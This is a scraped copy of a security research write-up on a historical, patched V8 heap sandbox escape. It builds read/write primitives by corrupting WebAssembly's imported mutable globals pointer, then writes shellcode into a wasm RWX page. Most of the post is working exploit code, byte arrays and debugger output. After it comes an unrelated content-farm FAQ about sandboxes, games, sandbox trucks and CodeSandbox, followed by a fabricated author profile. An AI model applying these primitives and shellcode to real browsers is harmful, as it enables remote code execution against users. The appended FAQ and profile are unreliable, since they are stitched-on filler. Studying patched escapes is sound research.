Exploring Historical V8 Heap Sandbox Escapes I – Anvbis (2024)

Motivation

In anticipation of the future implementation of CFI on code_entry_point fields within function objects (the vector by which most publicly known heap sandbox escapes currently occur), I wanted to explore some patched sandbox escapes that have been found in the past.

In this post I’ll be looking at the following patch: [sandbox] Remove a number of native allocations from WasmInstanceObject.

Overview

The heap sandbox escape I’ll be looking into today was originally found during DiceCTF 2022. The blog post detailing this technique can be found here.

In practice it’s pretty simple, involving corrupting memory within a WebAssembly instance object. Specifically the pointer to the instance’s mutable globals store, allowing us to read or write arbitrary memory via global variables.

This was due to WebAssembly storing globals data in a location external to the heap sandbox (meaning that it was an un-sandboxed external pointer). The patch for it just involved moving this data store to the heap itself.

Enabling the Memory Corruption API

Before building, I thought it best to enable the memory corruption API rather than implement a vulnerability into V8 itself.

The memory corruption API implements several functions that makes manipulating memory within the heap sandbox a lot easier.

diff --git a/BUILD.gn b/BUILD.gnindex af24f4309a..5ca4c0666a 100644--- a/BUILD.gn+++ b/BUILD.gn@@ -305,7 +305,7 @@ declare_args() { # Enable the experimental V8 sandbox. # Sets -DV8_ENABLE_SANDBOX.- v8_enable_sandbox = ""+ v8_enable_sandbox = true # Enable sandboxing for all external pointers. Requires v8_enable_sandbox. # Sets -DV8_SANDBOXED_EXTERNAL_POINTERS.@@ -317,7 +317,7 @@ declare_args() { # Expose the memory corruption API to JavaScript. Useful for testing the sandbox. # WARNING This will expose builtins that (by design) cause memory corruption. # Sets -DV8_EXPOSE_MEMORY_CORRUPTION_API- v8_expose_memory_corruption_api = false+ v8_expose_memory_corruption_api = true # Experimental feature for collecting per-class zone memory stats. # Requires use_rtti = true

For this particular heap sandbox escape, we’ll need to build out some typical exploit primitives. I won’t go into much detail here, but you can find the relevant code below.

They pretty much all use the memory corruption API in their implementation, so I suggest you lookat the code for it (since it’s completely undocumented, lmao) if you want to learn more.Here is therelevant commit.

const addrof = o => { return Sandbox.getAddressOf(o);};const weak_read = p => { let reader = new Sandbox.MemoryView(p, 64); let view = new DataView(reader); return view.getBigUint64(0, true); };const weak_write = (p, x) => { let writer = new Sandbox.MemoryView(p, 64); let view = new DataView(writer); view.setBigUint64(0, x, true);};

WebAssembly Mutable Globals

Before digging into any memory corruption, I want to first explore web-assembly’s mutable globalsfunctionality.

Some useful code for demonstrating this functionality can be found within the web-assemblyreference repo,here. Itimplements two functions, one for reading a 32-bit integer from a global variable, and anotherincrementing that global variable by 1.

(module (global $g (import "js" "global") (mut i32)) (func (export "getGlobal") (result i32) (global.get $g) ) (func (export "incGlobal") (global.set $g (i32.add (global.get $g) (i32.const 1))) ))

Note that the global variable has to be instantiated prior to the wasm instance, and it needsto be passed to the wasm instance when it is created.

Running the below code will demonstrate both these functions, and how web-assembly mutableglobals are used in practice.

const global = new WebAssembly.Global({ value: "i32", mutable: true }, 0);let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60, 0x00, 0x01, 0x7f, 0x60, 0x00, 0x00, 0x02, 0x0e, 0x01, 0x02, 0x6a, 0x73, 0x06, 0x67, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x03, 0x7f, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x19, 0x02, 0x09, 0x67, 0x65, 0x74, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x00, 0x00, 0x09, 0x69, 0x6e, 0x63, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x00, 0x01, 0x0a, 0x10, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0b, 0x09, 0x00, 0x23, 0x00, 0x41, 0x01, 0x6a, 0x24, 0x00, 0x0b]);let module = new WebAssembly.Module(wasm);let instance = new WebAssembly.Instance(module, { js: { global }});console.log(instance.exports.getGlobal()); // 0instance.exports.incGlobal();console.log(instance.exports.getGlobal()); // 1

Corrupting the Imported Mutable Globals Pointer

Below is some javascript code that will allow us to explore how this memory changes when theincGlobal wasm function is called.

%DebugPrint(instance);%SystemBreak();instance.exports.incGlobal();%SystemBreak();

In the debug print of the wasm instance object, we can see an interesting value pertaining toweb-assembly’s mutable globals functionality. The pointer to imported_mutable_globals, and evenmore interesting is that it appears to be an external pointer.

So what happens if we decide to corrupt the imported_mutable_globals pointer? Well it appears tobe a external pointer (i.e. outside of the heap), so logically we should be able to replace it inorder to read or modify an arbitrary location in memory.

DebugPrint: 0x1f84001d4659: [WasmInstanceObject] in OldSpace - map: 0x1f8400207891 <Map[256](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1f8400048709 <Object map = 0x1f8400208241> - elements: 0x1f8400002251 <FixedArray[0]> [HOLEY_ELEMENTS]... - imported_mutable_globals: 0x55afdf05e3e0...

When reading from the first entry in imported_mutable_globals we can see it holds a value of 0.Continuing so the incGlobal function is called, we can see that this value has been updated to1. Which is what we’d expect.

pwndbg> x/gx 0x55afdf05e3e00x55afdf05e3e0:0x00001f8500001000pwndbg> x/gx 0x00001f85000010000x1f8500001000:0x0000000000000000pwndbg> cContinuing.pwndbg> x/gx 0x00001f85000010000x1f8500001000:0x0000000000000001

Let’s see what happens when we completely corrupt the first pointer in theimported_mutable_globals table. That is, not the imported_mutable_globals pointer itself,but the first entry within it.

In the example below, I replace this entry with a pointer to 0x4141414141414141, so we shouldsee a segmentation fault if we try to access it.

pwndbg> set *(uint64_t *)(0x56394c0dc3d0) = 0x4141414141414141pwndbg> x/gx 0x56394c0dc3d00x56394c0dc3d0:0x4141414141414141pwndbg> cContinuing.Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

We receive a segmentation fault when trying to read from the location in memory we specified. Inthe disassembly below, the next step was to incremement the value retrieved by 1, before laterstoring it back into the location in memory it was retrieved from.

This is exactly the behaviour we’d expect to see from a function that increments a globalvariable.

 ► 0x2d0f6f7876a2 mov ecx, dword ptr [rax] 0x2d0f6f7876a4 add ecx, 1 0x2d0f6f7876a7 mov rax, qword ptr [rsi + 0x57] 0x2d0f6f7876ab mov rax, qword ptr [rax] 0x2d0f6f7876ae mov dword ptr [rax], ecx
pwndbg> p/x $rax$1 = 0x4141414141414141

An Arbitrary Read Primitive

So the question becomes, how do we turn this functionality into arbitrary read or writeprimitives?

Well, from observing the behaviour above, it would likely involve the corruption of one primaryvalue; that of the imported_mutable_globals pointer. But this value doesn’t point directly tothe global variable that is modified - so we’d need to point it to an area of memory we controland store a pointer to the memory we want to modify at that location.

The below web-assembly will read a 64-bit value from a mutable global variable.

(module (global $g (import "js" "global") (mut i64)) (func (export "read") (result i64) (global.get $g) ))
const global = new WebAssembly.Global({ value: "i64", mutable: true }, 0n);let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7e, 0x02, 0x0e, 0x01, 0x02, 0x6a, 0x73, 0x06, 0x67, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x03, 0x7e, 0x01, 0x03, 0x02, 0x01, 0x00, 0x07, 0x08, 0x01, 0x04, 0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x23, 0x00, 0x0b]);let module = new WebAssembly.Module(wasm);let instance = new WebAssembly.Instance(module, { js: { global }});

As mentioned above, the primary objective we need to achieve is control over theimported_mutable_globals table. I did this by simply pointing it to the elements store ofa float array. This way the entries within the table could easily be replaced.

If we want to replace this value with a location on the heap, this will also require a heapaddress leak (which is easily obtained).

let heap = (weak_read(0x18) >> 32n) << 32n;let store = [1.1];let elements = heap + (weak_read(addrof(store) + 0x8) & 0xffffffffn);weak_write(addrof(instance) + 0x58, elements + 8n - 1n);store[0] = utof(0xdeadbeefn);instance.exports.read();
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.... ► 0x2e60bc29c662 mov rcx, qword ptr [rax]...pwndbg> p/x $rax$1 = 0xdeadbeef

This is easily extracted out into a function. A pointer is provided and stored in the controlledimported_mutable_globals table, and a value is read from it.

const strong_read = p => { store[0] = utof(p); return itou(instance.exports.read());};

An Arbitrary Write Primitive

The arbitrary write primitive is implemented in an almost identical manner to the read primitive.However, a new web-assembly function is introduced that writes a 64-bit integer to the globalvariable.

(module (global $g (import "js" "global") (mut i64)) (func (export "read") (result i64) (global.get $g) ) (func (export "write") (param $p i64) (global.set $g (local.get $p)) ))

You can see how similar it is to the read primitive. It uses the same logic to replace thepointer to the location in memory we want to modify. The only difference being that theweb-assembly function used to write to a global variable is called.

const strong_write = (p, x) => { store[0] = utof(p); instance.exports.write(x);};

Code Execution

In order to achieve code execution we don’t actually require the arbitrary read primitive, it wasreally just an extra primitive to explore. All the values we need to leak are already stored onthe heap.

The arbitrary write primitive however, is extremely useful. In the code below, it is used to writeshellcode to the rwx page allocated by a wasm instance object. This, of course, is a very welldocumented technique used to achieve code execution in V8.

let _wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b]);let _module = new WebAssembly.Module(_wasm);let _instance = new WebAssembly.Instance(_module);let rwx = weak_read(addrof(_instance) + 0x68); let shellcode = [ 0x732f6e69622fb848n, 0x66525f5450990068n, 0x15e8525e54632d68n, 0x4c50534944000000n, 0x302e303a273d5941n, 0x00636c6163782027n, 0x0f583b6a5e545756n, 0x0000000000000005n];for (let i = 0; i < shellcode.length; i++) strong_write(rwx + (8n * BigInt(i)), shellcode[i]);_instance.exports.main();

References

Exploring Historical V8 Heap Sandbox Escapes I – Anvbis (2024)

FAQs

What is a V8 sandbox? ›

Sandboxing is a key feature of Chrome V8. Each process is sandboxed, which ensures that JavaScript functions run separately on it and the execution of one piece of code does not affect any other piece of code.

What is V8 security? ›

Google recently announced support for the V8 Sandbox, a security feature in the Chrome web browser designed to mitigate Javascript memory corruption issues. According to the feature's official page, it will be implemented in Chrome 123; this version should be deemed a “sort of 'beta' release for the sandbox.”

What is the purpose of sandbox? ›

The term “sandbox” is aptly derived from the concept of a child's sandbox—a play area where kids can build, destroy, and experiment without causing any real-world damage. Similarly, a digital sandbox allows experimentation and testing without repercussions outside its confined space.

What does sandbox protect against? ›

Using a sandbox for advanced malware detection provides another layer of protection against new security threats—zero-day (previously unseen) malware and stealthy attacks, in particular. And what happens in the sandbox, stays in the sandbox—avoiding system failures and keeping software vulnerabilities from spreading.

What does it mean if a game is sandbox? ›

Sandbox gaming is a type of video game that allows the player to have a high degree of freedom to explore and interact with the game world in a nonlinear fashion. Sandbox games often have open-world environments that the player can interact with at will, rather than following a predetermined path or set of objectives.

What is sandbox engine? ›

A sandbox is a testing environment that isolates untested code changes and outright experimentation from the production environment or repository, in the context of software development including Web development, automation and revision control.

What are sandbox trucks used for? ›

SandBox is the innovative, cost-effective way to store, handle and transport sand to your well. As a U.S. Silica company, we're uniquely positioned to offer a ground-to-ground, end-to-end solution: your proppant sand and logistics, all in one place.

What is code sandbox used for? ›

Who uses CodeSandbox? CodeSandbox is for software developers so that they can quickly code and create prototypes.

Top Articles
Latest Posts
Article information

Author: Sen. Emmett Berge

Last Updated:

Views: 6217

Rating: 5 / 5 (60 voted)

Reviews: 91% of readers found this page helpful

Author information

Name: Sen. Emmett Berge

Birthday: 1993-06-17

Address: 787 Elvis Divide, Port Brice, OH 24507-6802

Phone: +9779049645255

Job: Senior Healthcare Specialist

Hobby: Cycling, Model building, Kitesurfing, Origami, Lapidary, Dance, Basketball

Introduction: My name is Sen. Emmett Berge, I am a funny, vast, charming, courageous, enthusiastic, jolly, famous person who loves writing and wants to share my knowledge and understanding with you.